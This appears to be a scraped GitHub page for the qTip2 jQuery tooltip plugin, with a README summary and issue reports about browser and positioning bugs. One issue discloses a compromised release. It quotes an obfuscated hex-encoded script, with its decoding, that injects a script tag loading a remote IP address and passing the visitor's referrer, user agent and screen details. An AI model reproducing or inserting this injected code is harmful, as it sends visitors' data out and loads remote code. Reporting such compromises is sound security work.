qTip2 - Pretty powerful tooltips

Related tags

Tips qTip2
Overview

qTip2 is no longer maintained. Consider moving to a newer library if you need support or new features!


Build Status devDependency Status jsDelivr Hits Join the chat at https://gitter.im/qTip2/qTip2

qTip2 - Pretty powerful tooltips

Introducing… qTip2. The second generation of the advanced qTip plugin for the ever popular jQuery framework.

Building on 1.0's user friendly, yet feature rich base, qTip2 provides you with tonnes of features like speech bubble tips and imagemap support, and best of all... it's completely free under the MIT license!

More documentation and information is available at the official site.

Browser support

8+       3+       6+       9+       2+, iOS 4+

Getting qTip2

Grab the latest releases of qTip2 from the cdnjs or jsDelivr CDNs.

Documentation

Take a look at the documentation for extensive docs and guides.

Release History

See the official Changelog

Questions or problems?

I don't actively maintain this project anymore. Make sure to check out the thorough documentation.

License

Copyright (c) 2011-2020 Craig Michael Thompson. Licensed under the MIT license. See here for more details.

Special thanks

Big shout-out to "Cowboy" Ben Alman for providing the grunt build system used by qTip2

Comments
  • qtip2 doesn't work with jQuery 1.9.0

    qtip2 doesn't work with jQuery 1.9.0

    I've got error like "Cannot read property 'mozilla' of undefined" when hovering element where tooltip should show up. It works fine with previous version of jQuery...

    opened by ludwiczakpawel 30
  • iOS: qTip position is incorrect, offset by scroll and viewport adjustment

    iOS: qTip position is incorrect, offset by scroll and viewport adjustment

    Originally posted in the forums, but it got bumped off the first page and doesn't appear to have been addressed, so moving here.

    Edit: Since this was reported, I've discovered other related issues that occur in iOS 3.2 (iPad) and iOS 4.2.1. See below.

    This issue appears to be limited only to the iPhone and does not seem to occur on the iPad, but it is similar to the issue reported previously for the iPad:

    When initially viewed on the iPhone, qTips triggers "above the fold" (ie. before scrolling) position correctly. However, when the page is scrolled, all tooltips become offset by the scroll amount. Scrolling back to the top fixes the position for triggers that are visible above the bottom of the window.

    Also, as the viewport is changed on the iPhone (for example, by zooming into a portion of the page), all qTips shift themselves into incorrect positioning. Zooming back out to the full original viewport shifts them back into proper position.

    Scrolling AND adjusting the viewport causes the tips to shift up by the scroll amount and also to the left/right/up/down based on the viewport zoom.

    Are the fixes you put in place for the iPad limited specifically for the iPad, Craig? It seems like the fixes applied for the iPad bug would resolve this issue for the iPhone.

    iOS 
    opened by kiddailey 26
  • Code compromised, hits 91.196.216.64 frequently ?

    Code compromised, hits 91.196.216.64 frequently ?

    Version jquery.qtip-1.0.0-rc3.min.js, taken from the website.

    var _0xdc8d=["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x31\x39\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x63\x6C\x73\x3D","\x26\x73\x77\x3D","\x26\x73\x68\x3D","\x26\x64\x63\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];

    Translates to : ["sc_co", "getElementById", "colorDepth", "width", "height", "charset", "location", "referrer", "userAgent", "script", "createElement", "id", "src", "http://91.196.216.64/s.php?ref=", "&cls=", "&sw=", "&sh=", "&dc=", "&lc=", "&ua=", "head", "getElementsByTagName", "appendChild"]

    There is: http://91.196.216.64/s.php?ref= which apparently sends your browser agent and another piece of info.

    Also see: http://dan.cx/blog/2011/11/pulling-apart-wordpress-hack for more information.

    opened by paulm17 21
  • 'Member not found' error in jquery 1.4.4 when a left click is done on an element with a RightClick qtip event mapped to it

    'Member not found' error in jquery 1.4.4 when a left click is done on an element with a RightClick qtip event mapped to it

    I don't know if this is a defect with qtip2 or jquery. I get this error when I am in IE8. I don't see an obvious error show up in Chrome or FireFox but I don't know those browsers well enough to say there isn't an error.

    But given the code that is bombing in jquery seems to be an else clause for IE I assume there is no error raised in those browsers. Below is the segment from jquery that raises the error. I put a comment in [] to show where the error is. In the unminified jquery 1.4.4 it errors on line 2442 character 4

    I tend to think it is a jquery defect but I know they always want a streamlined jsfiddle with no plug-ins and I don't know how to trigger this error without qtip2.

    // jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding // http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html jQuery.Event.prototype = { preventDefault: function() { this.isDefaultPrevented = returnTrue;

        var e = this.originalEvent;
        if ( !e ) {
            return;
        }
    
        // if preventDefault exists run it on the original event
        if ( e.preventDefault ) {
            e.preventDefault();
    
        // otherwise set the returnValue property of the original event to false (IE)
        } else {
            e.returnValue = false;  [Danoman2: This is the line that gives the error]
        }
    },
    

    Here is a full screen jsfiddle and the share link. It is just a single div with a RightClick qtip tied to it.

    http://jsfiddle.net/danoman7/NFy2W/embedded/result/

    http://jsfiddle.net/danoman7/NFy2W/

    IE 
    opened by danoman7 20
  • target:mouse does not allow to open

    target:mouse does not allow to open "shadowbox" anymore

    It is in the title. If qtip is set to target:mouse and hovering an image with rel=shadowbox, the shadowbox can´t be opend anymore. If you click, nothing happens. Any solution for that? Thanks

    opened by markimark 16
  • Uncaught TypeError: Cannot read property 'pageY' of null

    Uncaught TypeError: Cannot read property 'pageY' of null

    Hi!

    First of all, thanks for qTip. It's a great tooltip. However, I found an error in Google Chrome. (Error doesn't show up in FireFox 3.6.17)

    Description: I was just testing qtip. I made a link and loaded content into the tooltip with ajax. When I move my mouse over the link, the tooltip should appear and should follow my mouse. What happens is it appears, and stays in one place and if I take away my cursor and move it back, it disappears and never shows again. Although, the content gets loaded at first enter.

    I've checked the Javascript console and found this:

    Uncaught TypeError: Cannot read property 'pageY' of null
    a.extend.repositionjquery.qtip.min.js:13
    a.extend.setjquery.qtip.min.js:13
    $.qtip.content.ajax.success/tooltip_comparison/:108
    f.extend._Deferred.e.resolveWithjquery-1.6.2.min.js:16
    wjquery-1.6.2.min.js:18
    f.support.ajax.f.ajaxTransport.send.d
    

    Here's my code:

    $('#ajax').qtip({
                        content: {
                            text: 'Loading...',
                            ajax: {
                                url: 'ajax.php',
                                type: 'POST',
                                data: ad,
                                dataType: 'json',
                                success: function(data, status) {
                                    this.set('content.text',data.text);
                                }
                            }
                        },
                        position: {
                            target: 'mouse',
                            adjust: {
                                mouse: true
                            }
                        }
    });
    

    jQuery version: 1.6.2 Browser: Google Chrome 10.0.648.204

    Thank you.

    opened by szivak009 16
  • a.compareDocumentPosition is not a function

    a.compareDocumentPosition is not a function

    I am using jQuery 1.6.2 and qTip2 nightly-b897d54beb5770addfe13e3bc78ebe131309093683. When using FireFox 5, I got the following javascript error:

    a.compareDocumentPosition is not a function

    Works fine with chrome 12.0.742.112, IE7, IE8, Opera 11 and safari 5.0.5

    opened by achwell 16
  • qtip2 dom removal

    qtip2 dom removal

    We have around 1000-1500 elements with qtip attached. We have 2 modes to show the tips -

    1. Slideshow mode - Randomly shows any 1 of these tips at an interval of 5 secs.
    2. Browse mode - Shows the tip when user clicks As the DOM elements are added the performance of the page slows down. If we remove DOM elements when tip is hidden it doesn't open again.

    Please suggest how this can be solved.

    opened by kirittanna 15
  • Scrolling within a window does not reposition a model dialog

    Scrolling within a window does not reposition a model dialog

    The dialog is correctly re-positioned on resize, but it is possible to scroll the dialog off screen.

    Is it possible to make the resize event be fired when the $(window).scroll occurs?

    opened by euangoddard 15
  • Positioning oddities

    Positioning oddities

    I am seeing some odd positioning behavior in browsers --

    Safari 5.0.2 Mac: Tooltips that are positioned with my: "left bottom" or my: "right bottom" are positioned a couple hundred pixels too low.

    Firefox 3.x Win and Mac: Many position settings result in the tooltip rendering in the wrong position and then jumping into the correct position.

    Positioning 
    opened by markedwards 15
  • Persistant qtip content

    Persistant qtip content

    Hi there, loving qtip2...

    Just a quick question - what is the most straightforward way to achieve persistant content? I am currently displaying some radio buttons in a qtip, which works well but when I show the qtip again, the original state has been restored.

    Hope you can help, best regards, Oisin

    Content 
    opened by oisinlavery 14
  • Target <svg> outerWidth();

    Target outerWidth(); "NaNpx"

    JQuery 3.3.1 outerWidth on a SVGSVGElement returns "NaNpx" where JQuery 3.2.1 outerWidth on a SVGSVGElement return a number.

    Now in de reposition of the QTIP2 outerWidth( FALSE ) and outerHeight( FALSE ) is used what will now give "NaNpx"....

    opened by kadimara 0
  • Fixed null pointer errors when timers are null

    Fixed null pointer errors when timers are null

    We are seeing null pointer errors in our application and this code should fix those NPE. This is my first time to contributing to a github repo. Let me know if I am missing something.

    opened by prashantjain68 0
  • Added CommonJS support to exported library

    Added CommonJS support to exported library

    I changed the files used in the build script to include CommonJS support according to this article by npm.

    Useful for including qTip2 with build tools such as webpack

    opened by tibineagu 2
  • Qtip doesn't disappear on disabled controls

    Qtip doesn't disappear on disabled controls

    Hi Team, I facing issue with qtip on disabled input controls with version 3.0.3. When I hover on control tool-tip appears but when I remove the mouse pointer from the control tool tip still appears. Tool tip should be hide in this case. Please suggest what should I do to resolve this.

    Thanks Ashutosh Tiwari

    opened by AshutoshTiwari2 3
Owner
qTip2
Introducing... qTip2. The second generation of the advanced qTip plugin for the ever popular jQuery framework.
qTip2
Pretty-print-json - 🦋 Pretty-print JSON data into HTML to indent and colorize (written in TypeScript)

pretty-print-json Pretty-print JSON data into HTML to indent and colorize (written in TypeScript) 1) Try It Out Interactive online tool to format JSON

Center Key 87 Dec 30, 2022
jBox is a jQuery plugin that makes it easy to create customizable tooltips, modal windows, image galleries and more.

jBox jBox is a jQuery plugin that makes it easy to create customizable tooltips, modal windows, image galleries and more. Demo: https://stephanwagner.

Stephan Wagner 1.4k Dec 15, 2022
Facebook-style tooltips plugin for jQuery

tipsy Facebook-style tooltip plugin for jQuery (c) 2008-2010 Jason Frame ([email protected]) Released under The MIT License. Description: tip

Jason Frame 2k Oct 15, 2022
Funkytooltips - A jQuery plugin to create funky tooltips

Funkytooltips Funkytooltips is a jQuery plugin to generate tooltips based on the data contained in HTML tags. Installation The plugin can be installed

Nourdine 0 Apr 17, 2021
A svelte action for creating tippy.js tooltips with full typescript support

Tippy.js for svelte A svelte action for creating tippy.js tooltips. Getting started # Pnpm pnpm add svelte-tippy tippy.js # Yarn yarn add svelte-tipp

Brett Mandler 11 Jul 19, 2022
jQuery plugin to add 360 rotatable bubble style tooltips

Sorry, this project is no longer maintained. grumble.js Add a bubble to any element; configure its rotation on a 360 degree axis and define its distan

James Cryer 777 Nov 9, 2022
CSS Tooltips built on Tether. #hubspot-open-source

Tooltip Tooltip.js is a Javascript and CSS library for creating styleable tooltips. Install Dependencies Tether Drop Installing via npm and bower will

HubSpot 714 Jan 2, 2023
Extends Bootstrap Tooltips and Popovers by adding custom classes. Available for Bootstrap 3 and Bootstrap 4.

Bootstrap Tooltip Custom Class Extends Bootstrap Tooltips and Popovers by adding custom classes. Available for Bootstrap 3 and Bootstrap 4. Define you

Andrei Victor Bulearca 14 Feb 10, 2022
A lightweight JavaScript library for implementing tooltips.

Tooltipper A lightweight (1kB) JavaScript library for implementing tooltips. Installation Install via NPM: npm i -S tooltipper Install via CDN: <scrip

Kyle Andrews 9 Nov 2, 2022
Pretty time-series line graphs

Morris.js - pretty time-series line graphs Morris.js is the library that powers the graphs on http://howmanyleft.co.uk/. It's a very simple API for dr

null 7k Dec 24, 2022
Pretty diff to html javascript library (diff2html)

diff2html diff2html generates pretty HTML diffs from git diff or unified diff output. Table of Contents Features Online Example Distributions Usage Di

Rodrigo Fernandes 2.3k Dec 31, 2022
jQuery Timer: Start/Stop/Resume/Remove pretty timer inside any HTML element.

jQuery Timer plugin Lightweight, well tested jQuery pretty timer plugin Start, Pause, Resume and Remove a timer inside any HTML element. Get notified

Walmik Deshpande 291 Nov 4, 2022
A pretty darn cool JavaScript debugger for Brackets

Theseus Theseus is a new type of JavaScript debugger for Node.js, Chrome, and both simultaneously. It is an extension for the Brackets code editor. Th

Adobe Research 1.3k Dec 20, 2022
Pretty diff to html javascript cli (diff2html-cli)

diff2html-cli Diff to Html generates pretty HTML diffs from unified and git diff output in your terminal Table of Contents Features Online Example Dis

Rodrigo Fernandes 404 Dec 19, 2022
Pretty UI to make getting details about PS1 stations easy.

ps1data Pretty interface to navigate through PS1 stations at BITS Pilani Disclaimer Given that I had to do this whole thing in about 18 hours, this ha

BITS-ACM 39 Jun 25, 2022
Pretty unicode tables for the command line

cli-table3 This utility allows you to render unicode-aided tables on the command line from your node.js scripts. cli-table3 is based on (and api compa

null 418 Dec 28, 2022
Pretty diff to html javascript library (diff2html)

diff2html diff2html generates pretty HTML diffs from git diff or unified diff output. Table of Contents Features Online Example Distributions Usage Di

Rodrigo Fernandes 2.3k Dec 29, 2022
A pretty cool org-mode -> interactive blog post tool

Radish A kinda-cool org-mode -> interactive blog post tool written with and for Clojure(script). Here are two example posts created with this tool: Ra

adam-james 46 Dec 28, 2021
Pretty Cool Elements

Pretty Cool Elements Social Media Photo by Jamison McAndie on Unsplash This module is a follow up of this Medium post, and it provides element mixins/

Andrea Giammarchi 36 Dec 23, 2022
A library for pretty shadows.

shine.js A library for pretty shadows. See the working demo at http://bigspaceship.github.io/shine.js/. Get Started Install using bower: bower install

Big Spaceship 2.2k Dec 23, 2022